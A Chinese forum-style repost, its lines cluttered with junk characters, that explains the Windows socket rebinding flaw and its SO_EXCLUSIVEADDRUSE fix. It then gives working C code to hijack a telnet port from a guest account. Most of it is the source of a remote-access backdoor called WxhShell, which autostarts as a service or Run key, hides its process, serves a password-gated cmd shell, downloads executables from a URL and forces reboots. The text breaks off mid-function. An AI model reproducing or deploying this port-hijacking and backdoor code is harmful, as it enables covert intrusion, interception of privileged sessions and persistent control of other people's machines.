在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[B3RfCV{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
qSQ~D(tO ,u m|1dh saddr.sin_family = AF_INET;
kcEeFG;DQ
lRQYpc\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@nf`Gw ; |uDdHX8T bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`u\n0=go M%#e1"n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
31)&vf[[ P2Y^d#jO 这意味着什么?意味着可以进行如下的攻击:
Kpp_|2|@< Y*hCMy; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h];I{crh cCX*D_kCB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(sj,[
[-&Zl(9& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>dT*rH 3w kVL.PY\K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
N g,j# Ho%CDz
z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ts9uL5i I:.s_8mH} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M3AXe]<eC1 v,t:+
!8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]R *A @PU [:; #include
PW4q~rc=: #include
ntY]SK%Z #include
|hQ;l|SWg #include
_4f;<FL DWORD WINAPI ClientThread(LPVOID lpParam);
W9)&!&<o int main()
v>56~AJ {
1eKT^bgM WORD wVersionRequested;
"5
A!jq DWORD ret;
r
:dTz WSADATA wsaData;
/<3UQLMa BOOL val;
= /8cp SOCKADDR_IN saddr;
3a|\dav% SOCKADDR_IN scaddr;
T;#FEzBz int err;
oU/5 a>9~ SOCKET s;
_G0x3 SOCKET sc;
54/=G(F int caddsize;
`{Ul! HANDLE mt;
1Z;iV<d DWORD tid;
c9Yrw^ wVersionRequested = MAKEWORD( 2, 2 );
o(HbGHIP err = WSAStartup( wVersionRequested, &wsaData );
<QvOs@i* if ( err != 0 ) {
@8
6f printf("error!WSAStartup failed!\n");
+v\oOBB) return -1;
NO3/rJ6- }
j#6.Gq saddr.sin_family = AF_INET;
qb4z
T e;jdqF~v! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
o}!PQ#`M ME dWLFf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
DrQ`]]jj7 saddr.sin_port = htons(23);
/E>e"tvss if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[!z,lY> {
u4j5w printf("error!socket failed!\n");
XilS!, return -1;
ix$bRdl }
_j3f Ar(V val = TRUE;
|{8Pb3#U //SO_REUSEADDR选项就是可以实现端口重绑定的
626r^c= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"]dI1 g_ {
"oD[v printf("error!setsockopt failed!\n");
36NpfTW return -1;
VE24ToI?W" }
5m*,8 ]!- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=Uh$&m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
nK,w]{<wG! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ned."e KSvE~h[#+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ys~x$ {
7Wno':w8 ret=GetLastError();
pUTr!fR printf("error!bind failed!\n");
rKn~qVls return -1;
&vJH$R }
:>*7=q= listen(s,2);
r,udO,Yi=c while(1)
J *yg& {
TN.rrop`#g caddsize = sizeof(scaddr);
/\Ef%@ //接受连接请求
9UkBwS` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}}[2SH'nH if(sc!=INVALID_SOCKET)
~V-XEQA {
:0ep(<|; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+H.`MZ= if(mt==NULL)
]A"h&`Cvt {
;]iRk printf("Thread Creat Failed!\n");
-%~4W? break;
M{\I8oOg }
q@&6#B }
J1vR5wbu CloseHandle(mt);
(=$x.1 }
R2; closesocket(s);
'7/)Ot( WSACleanup();
y^k$Us return 0;
/,dz@ }
8QK&_n* DWORD WINAPI ClientThread(LPVOID lpParam)
Gq6*SaTk {
<UI
[%yXj SOCKET ss = (SOCKET)lpParam;
<[phnU^
8 SOCKET sc;
s S
Mh`4' unsigned char buf[4096];
(ZGbhMK SOCKADDR_IN saddr;
nu^436MSOa long num;
JVJMgim)0 DWORD val;
\lY_~*J DWORD ret;
4JEpl'5^Q //如果是隐藏端口应用的话,可以在此处加一些判断
;*N5Y}?j' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
),)lzN%! saddr.sin_family = AF_INET;
<GJbmRc| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m[$_7a5 saddr.sin_port = htons(23);
Bwrx *J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/{[o~:'p {
mR~&)QBP. printf("error!socket failed!\n");
;
KA~Z5x; return -1;
*#2h/Q. }
j+!v}*I![ val = 100;
9ati`-y2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B[}6-2<>?C {
H.;Q+A,8^ ret = GetLastError();
pw#-_ return -1;
ZC?Xqp }
n|hNM?v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
GB^B r6 {
9$Y=orpWxr ret = GetLastError();
i1085ztN return -1;
H::bwn`Vc }
CAlCDfKW} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
us.~G {
/efUjkP printf("error!socket connect failed!\n");
vIvIfE closesocket(sc);
"N;EL0= closesocket(ss);
>ef6{URy< return -1;
6LZCgdS{ }
H+#FSdy# while(1)
*v`eUQ: {
Kq!3wb; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}b}m3i1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
jCY%| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vX>)je5# num = recv(ss,buf,4096,0);
{I((p_ if(num>0)
_GPe<H send(sc,buf,num,0);
<%^&2UMg else if(num==0)
*i,%,O96Nz break;
Smh,zCc>s num = recv(sc,buf,4096,0);
vI?, 47Hj+ if(num>0)
[7-?7mp!B send(ss,buf,num,0);
h;Qk@F else if(num==0)
yu|>t4#GT break;
TvM~y\s }
dQvcXl] closesocket(ss);
cl1T8vFM closesocket(sc);
:3PH8TL return 0 ;
+t.b` U`- }
MA\V[32H GY*p?k<i cNrg#Asen& ==========================================================
/QQ*8o8 )+^+sd 下边附上一个代码,,WXhSHELL
~Ei<Z`3}7" h;Kx!5)y ==========================================================
=wJX0A| @WhHUd4s #include "stdafx.h"
=M1I> !Cs_F&l"j #include <stdio.h>
qK+5NF| #include <string.h>
]GS bjHsO #include <windows.h>
A,]h),b #include <winsock2.h>
km(Po} #include <winsvc.h>
Wqnc{oq|$ #include <urlmon.h>
Sz~OX6L `L
zPotz #pragma comment (lib, "Ws2_32.lib")
wzA$'+Mb #pragma comment (lib, "urlmon.lib")
=|=(l)8 &m3lXl #define MAX_USER 100 // 最大客户端连接数
bcyzhK= #define BUF_SOCK 200 // sock buffer
1 zZlC#V #define KEY_BUFF 255 // 输入 buffer
]5O~+Nf =]t|];c% #define REBOOT 0 // 重启
GyIV
Hby #define SHUTDOWN 1 // 关机
Xvv6~ 7$b1<.WX #define DEF_PORT 5000 // 监听端口
H\
% 7% 6863xOv{T #define REG_LEN 16 // 注册表键长度
1oS/`) #define SVC_LEN 80 // NT服务名长度
`uFdwO'DD {ax:RUQxy // 从dll定义API
/z!%d%" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
F2WKd1U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;gkM{={`p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ZNoDFf*h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
45e~6", sB</DS // wxhshell配置信息
XSDpRo struct WSCFG {
Y*^[P,+J*} int ws_port; // 监听端口
r$1Qf}J3= char ws_passstr[REG_LEN]; // 口令
EPm/r int ws_autoins; // 安装标记, 1=yes 0=no
;jXgAAz7 char ws_regname[REG_LEN]; // 注册表键名
*hx char ws_svcname[REG_LEN]; // 服务名
yfSmDPh char ws_svcdisp[SVC_LEN]; // 服务显示名
hM{bavd char ws_svcdesc[SVC_LEN]; // 服务描述信息
3F3A%C% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
i. "v4D int ws_downexe; // 下载执行标记, 1=yes 0=no
8y L Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zda 3
,U2o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
UZMd~| uT{q9=w };
uD'6mk* &&+H+{_Q // default Wxhshell configuration
]'}L 1r struct WSCFG wscfg={DEF_PORT,
)UR7i8]!0 "xuhuanlingzhe",
VRMXtQ*1Dm 1,
E.TAbD&5( "Wxhshell",
,2q-D&)\Z "Wxhshell",
&HW9Jn "WxhShell Service",
O?2DQY?jT "Wrsky Windows CmdShell Service",
+R &gqja "Please Input Your Password: ",
WLT"ji0w2 1,
*VcJ= b
2Y "
http://www.wrsky.com/wxhshell.exe",
*p U x8yB "Wxhshell.exe"
| (93gJ };
vQCy\Gi }j%5t ~Qa // 消息定义模块
&pRREu:[4L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%Zi} MPx char *msg_ws_prompt="\n\r? for help\n\r#>";
$I=~S[p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nKY6[|!# char *msg_ws_ext="\n\rExit.";
xEI%D|)< char *msg_ws_end="\n\rQuit.";
0;k# *#w char *msg_ws_boot="\n\rReboot...";
3n _htgcv char *msg_ws_poff="\n\rShutdown...";
siI;"? char *msg_ws_down="\n\rSave to ";
3u=g6W2 F WcAkCH!L char *msg_ws_err="\n\rErr!";
*pq\MiD/ char *msg_ws_ok="\n\rOK!";
!a`&O-ye a9gLg
& char ExeFile[MAX_PATH];
CrLrw T int nUser = 0;
3S{/>1Y HANDLE handles[MAX_USER];
";F'~}bDA int OsIsNt;
i@yC-))bY ;+%rw 2Z,B SERVICE_STATUS serviceStatus;
;TYBx24vD' SERVICE_STATUS_HANDLE hServiceStatusHandle;
t0S1QC+ Cye.gsCT // 函数声明
z_HdISy0 int Install(void);
3w=J'(RU int Uninstall(void);
Vksuu@cch int DownloadFile(char *sURL, SOCKET wsh);
Hka2 int Boot(int flag);
L,\Iasv void HideProc(void);
\hXDO_U int GetOsVer(void);
KoT\pY^7\ int Wxhshell(SOCKET wsl);
{FkF void TalkWithClient(void *cs);
^W^OfY int CmdShell(SOCKET sock);
/wp6KXm int StartFromService(void);
`3pW]&
int StartWxhshell(LPSTR lpCmdLine);
'DR!9De eFgA 8kY) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^[[P*NX3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
;uJMG 7! Nsm // 数据结构和表定义
It(_v SERVICE_TABLE_ENTRY DispatchTable[] =
#"!<W0 {
V!Uc( {wscfg.ws_svcname, NTServiceMain},
TOt dUO {NULL, NULL}
K1KreYlF };
]kSG R L0,'mS // 自我安装
2G7Wi!J int Install(void)
3`g^ {
b}`TLn char svExeFile[MAX_PATH];
[JiH\+XLPs HKEY key;
f|5co>Hk strcpy(svExeFile,ExeFile);
6Mf0`K ?9/G[[( // 如果是win9x系统,修改注册表设为自启动
o&%g8=n% if(!OsIsNt) {
.*oU]N%K= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4s-!7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e
,(mR+a8 RegCloseKey(key);
vsPu*[% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=cI(d , RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P
pb\6|* RegCloseKey(key);
fhiM U8(& return 0;
V
gWRW7Se }
{)XTk&" }
79gT+~z }
N8jIMb'< else {
+7Gwg -w2/w@& // 如果是NT以上系统,安装为系统服务
ftb\0,- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
j#|ZP-=1_ if (schSCManager!=0)
vh^VxS {
}2jn[${ pr SC_HANDLE schService = CreateService
@d'j zs (
H_a[)DT schSCManager,
zhQJy?>'m wscfg.ws_svcname,
I7onX,U+ wscfg.ws_svcdisp,
B,@i SERVICE_ALL_ACCESS,
(PLUFT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
d]9z@Pd SERVICE_AUTO_START,
2/?|&[ SERVICE_ERROR_NORMAL,
ch]IzdD svExeFile,
Q &8-\ NULL,
Oketwa NULL,
J.a]K[ci NULL,
x2xRBkRg= NULL,
V3Bz
Mw\9r NULL
Gc?a +T );
_BufO7`. if (schService!=0)
YK_7ip.a[ {
5BIY<B+i CloseServiceHandle(schService);
U^PgG|0N CloseServiceHandle(schSCManager);
dtDFoETz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/ZX}Nc g strcat(svExeFile,wscfg.ws_svcname);
'1[Ft03 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\bXa&Lq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=;L|gtH" RegCloseKey(key);
4W75T2q# return 0;
\z$= K }
j 7B!h| }
)%TmAaj9d CloseServiceHandle(schSCManager);
F ,kZU$ }
mH(:?_KrS- }
zLQx%Yg! }MySaL> return 1;
>*bvw~y, }
?ub35NLa P \I|, // 自我卸载
Pz7XAcPQ( int Uninstall(void)
X$
D6Ey {
kh<2BOV HKEY key;
ctQ/wrkU :jf3HG if(!OsIsNt) {
kJU2C=m@e2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
" bG2: RegDeleteValue(key,wscfg.ws_regname);
u8^lB7!e/ RegCloseKey(key);
G@0&8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V`5O{Gg RegDeleteValue(key,wscfg.ws_regname);
+@UV?"d RegCloseKey(key);
42{~Lhxt return 0;
(FV >m }
(7Qo }
hH.G#-JO }
~*7]r`6\@ else {
GgU/!@ SbZ6t$" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[g,}gyeS( if (schSCManager!=0)
/v }`l {
*8q.YuZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+ZYn? #IQ if (schService!=0)
!D6]JPX {
P>T"cv if(DeleteService(schService)!=0) {
NK+o1 CloseServiceHandle(schService);
KvSG; CloseServiceHandle(schSCManager);
\vNU,WO return 0;
Gj*9~*xm( }
%O<BfIZ CloseServiceHandle(schService);
x-c"%Z| }
xno\s.H%] CloseServiceHandle(schSCManager);
=1!
'QUc }
_F{C\} }
~&O%N ]n~V!hl?A return 1;
}JfjX' }
?2a $*( /reX{Y // 从指定url下载文件
iso4]>LF int DownloadFile(char *sURL, SOCKET wsh)
@HW*09TG {
Efe 7gE' HRESULT hr;
& kIFcd@ char seps[]= "/";
}u|q0>^8 char *token;
9mgIUjz char *file;
^Cmyx3O^ char myURL[MAX_PATH];
$>gFf}#C char myFILE[MAX_PATH];
H]s.=.Ki 6@o*xK7L strcpy(myURL,sURL);
POW>~Tof1 token=strtok(myURL,seps);
B!yr!DWv while(token!=NULL)
/?!u{(h } {
<i[HbgUlO. file=token;
q4q6c")zp token=strtok(NULL,seps);
VQI3G }
ijcm2FJcG N [@?gFtT GetCurrentDirectory(MAX_PATH,myFILE);
Vi}_{
Cy strcat(myFILE, "\\");
g`^x@rj`E strcat(myFILE, file);
.hiSw send(wsh,myFILE,strlen(myFILE),0);
;4a{$Lw~^9 send(wsh,"...",3,0);
zT/\Cj68 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Bq>m{ if(hr==S_OK)
e)ZUO_Q$ return 0;
AGno6g else
D$N/FJ8|G return 1;
Y7nvHU|+o _wcNgFx }
BY*Q_Et |%wX*zaf // 系统电源模块
%\DX#. int Boot(int flag)
Jwp7gYZ {
'S~5"6r HANDLE hToken;
~
1 pr~ TOKEN_PRIVILEGES tkp;
(t.Nk[ x"(KBEK~ if(OsIsNt) {
JRFtsio* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+V+a4lU14 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/=h` L, tkp.PrivilegeCount = 1;
p'fYULYE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{$r[5%L\H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5IN(|B0 if(flag==REBOOT) {
F?cK-. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}Lv;! return 0;
9l,oP? }
n(Uyz`qE else {
:4s1CC+@\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_U0f=m return 0;
1}37Q&2 }
>+waX"e }
cAy3^{3: else {
q;U,s)Uz^ if(flag==REBOOT) {
9kojLqCT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7KPwQ?SjT return 0;
GL JMP^p }
&{RDM~ else {
G
j1_!.T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;]fs'LH return 0;
C7vxw-o|&p }
!c-*O<Y }
fV:83|eQ .o8t+X'G return 1;
@6d[=!9 }
iUwzs&frd m4& /s // win9x进程隐藏模块
nie% eC&U void HideProc(void)
Wf<LR3 {
fLVAKn ^GX)Z~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
DN/YHSYK if ( hKernel != NULL )
a>)f=uS {
w:l"\Tm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<or2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
W l16`9 FreeLibrary(hKernel);
-DCbko }
yBRC*0+Vy m3ff;, return;
{^'HL }
8] ikygt" J=L5=G7( // 获取操作系统版本
?}7p"3j'z int GetOsVer(void)
H:G1BZjq {
;wVwX6:ZKr OSVERSIONINFO winfo;
T Ge_G_'o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gJhiGYx GetVersionEx(&winfo);
? q&T$8zc4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Gy)@Is9 return 1;
'2O\_Uz else
p8Q1-T3v return 0;
Gc!x|V;T }
f-2c0Bi 1U\z5$V // 客户端句柄模块
"mNq&$ int Wxhshell(SOCKET wsl)
}`"6aM {
X?$_Sd"G+5 SOCKET wsh;
<t,x RBk struct sockaddr_in client;
ZB&6<uw DWORD myID;
MfQ!6zE L+QLLcS~EM while(nUser<MAX_USER)
y==CTY@ {
'RRE|L, int nSize=sizeof(client);
z] Ue|%K wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
2"5v[,$1H if(wsh==INVALID_SOCKET) return 1;
d[35d J7F _2nx^E(pd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;$tSb ~K+ if(handles[nUser]==0)
sC ;+F*0g closesocket(wsh);
?s _5&j7 else
ASfaX:ke nUser++;
]~nKK@Rw }
Dxxm="FQZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:yjFQ9^?& ;GhNKPY return 0;
7)k\{&+P }
f9;(C4+ xvy.=( // 关闭 socket
}{"fJ3] c^ void CloseIt(SOCKET wsh)
4e1Y/
Xq` {
_[y/Y\{I closesocket(wsh);
'7@R7w!E4H nUser--;
:eg4z ) ExitThread(0);
)Wox Mmz }
Z<4AL\l 98
^I)N. 5 // 客户端请求句柄
e$pV%5= void TalkWithClient(void *cs)
hzRYec( {
g[t [/TV * H9 8Du SOCKET wsh=(SOCKET)cs;
W];dD$Oqg char pwd[SVC_LEN];
:h V7>
rr char cmd[KEY_BUFF];
S@Hf
&hJ char chr[1];
|W\(kb+ int i,j;
`#gie$B{ 3&/Ixm: while (nUser < MAX_USER) {
${)b[22": #=v~8 if(wscfg.ws_passstr) {
YDFyX){ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(khL-F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F:l%O#V //ZeroMemory(pwd,KEY_BUFF);
uH-)y,2& i=0;
OC:T
O|S:4 while(i<SVC_LEN) {
3Hm/(C 7`YEH2 // 设置超时
Y#3c }qb fd_set FdRead;
VYhbx
'e struct timeval TimeOut;
|a%Tp3Q~ FD_ZERO(&FdRead);
0AV c FD_SET(wsh,&FdRead);
\_U$"/$4VH TimeOut.tv_sec=8;
Z:7fV5b( TimeOut.tv_usec=0;
,=mS,r7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
D )'bH5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$2el&I -
CWywuD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
y|q3Wa pwd
=chr[0]; ?NP1y9Y]i
if(chr[0]==0xd || chr[0]==0xa) { rc>6.sM
%
pwd=0; \r>6`-cs]
break; k: ;WtBC6j
} jZ3fKyp#
i++; pU7lnS[
}
v<:R#
r(2uu
// 如果是非法用户,关闭 socket Lu0x
(/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F*K_+
?m
} _\HQvH
'XBFv9&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3<zp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *
+wW(#[
a -moI+y
while(1) { F.v{-8GV
1&o|TT/
ZeroMemory(cmd,KEY_BUFF); a+PzI x2
hDq`Z$_+KX
// 自动支持客户端 telnet标准
0nD/;\OU
j=0; tlt*fH$.
while(j<KEY_BUFF) { o7LuKRl
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o\)F}j&b#=
cmd[j]=chr[0]; 9
5RBO4w%w
if(chr[0]==0xa || chr[0]==0xd) { f0aKlhEC
cmd[j]=0; gOOPe5+ J
break; Vl!6W@g
} (NnH:J`
j++; t>B;w14
} <kd1Nrr!p
SG4%}wn%
// 下载文件 BIWWMg
if(strstr(cmd,"http://")) { P_p<`sC9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )D82N`c2\i
if(DownloadFile(cmd,wsh)) #`X?=/q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gm.]sE?.
else Q&|\r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9,'ncw$/C
} qXjxNrK
else { yqiq,=OvP
qc~iQSI
switch(cmd[0]) {
U2~kJ
?#YE`]
// 帮助 CoAvSw
case '?': { Km6YP!i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .Twk {p
break; R#8L\1l
} Y]u+\y~
// 安装 [bNx^VP*
case 'i': { bB;5s`-
if(Install()) r!a3\ep
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H_<C!OgR
else f &wb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "{Eta
break; \<6CZ
} fn6J*[`
// 卸载 }t1a*z
case 'r': { Z} r*K%
if(Uninstall()) =+MPFhvg!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\:%ufd
~
else
)sp4Ie
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ([LSsZ]sj
break; 4u47D$=
} ["e3Ez
// 显示 wxhshell 所在路径 5=?\1`e1[
case 'p': { o"BoZsMk
char svExeFile[MAX_PATH]; WYYa/,{9.
strcpy(svExeFile,"\n\r"); "E?2xf|.
strcat(svExeFile,ExeFile); Hi`//y*92H
send(wsh,svExeFile,strlen(svExeFile),0); @)&=%
break; n%s]30Xs
} "?I y (*^
// 重启 xDoC(
case 'b': { JOLaP@IPT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cFnDmtI:
if(Boot(REBOOT)) Ev(>z-{F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'B0{_RaTb
else { Gvqxi|
closesocket(wsh); T+K):ug
ExitThread(0); YgV817OV
} zXxT%ZcCj
break; )fSOi||C
} 6Yxh9*N~]
// 关机 YLE!m?
case 'd': { '9j="R;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mh[75(
if(Boot(SHUTDOWN)) Gc; {\VU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6N
S201o
else { s^uS1
closesocket(wsh); K]"#C
ExitThread(0); [ )dXI IM
} //<nr\oP
break; 28J^DMOW
} hP)LY=-2
// 获取shell G&V/Gj8
case 's': { iBgx
CmdShell(wsh); "z=SO1
closesocket(wsh); [>%xd)8.c
ExitThread(0); 1gy.8i
break; &&:YVd
} !~D}/Q;#}\
// 退出 ,+{LYF
case 'x': { Pjjewy1}^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i,4>0o?
CloseIt(wsh); lun\`f 5Q
break; '>0fWBs
} <drODjB
// 离开 8tFoN*M
case 'q': { EbE-}>7OO
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MgrLSKLT
closesocket(wsh); m6CI{Sa](l
WSACleanup(); @A89eZbW
exit(1); <\ :Yk
break; gPsi
} 8Sh54H
} YccH+[X;
} 2Kyl/C,
j<@lX^
// 提示信息 s`'{I8'p/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Yk.$90
} ?>rW>U6:P
} ~W+kiTsD?
j=aI9p
return; DLMM/WJg@
} 9:1Q1,-i!-
"4+WZR]
// shell模块句柄 0rDh}<upjk
int CmdShell(SOCKET sock) i/ )am9
{ Tewb?:
STARTUPINFO si; @jSYB+D
ZeroMemory(&si,sizeof(si)); Sf7\;^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a\E:sPM'>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |>27B
PROCESS_INFORMATION ProcessInfo; Z}l3l`h!
char cmdline[]="cmd"; &6YIn|}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \uC15s<
return 0; u!X|A`o5i
} '~&X wZ&
DSk/q-'u
// 自身启动模式 F,dx2ZPIs?
int StartFromService(void) 5^lxj~ F
{ W$OG(m!W>
typedef struct s1NKLt
{ FUjl8b-|
DWORD ExitStatus; sOJQ,"sB
DWORD PebBaseAddress; !&/{E
[
DWORD AffinityMask; *HO}~A%Lx
DWORD BasePriority; dA0.v+Foz"
ULONG UniqueProcessId; @EpIh&
ULONG InheritedFromUniqueProcessId; X+S9{X#Cm
} PROCESS_BASIC_INFORMATION; <55g3>X
C/kW0V7
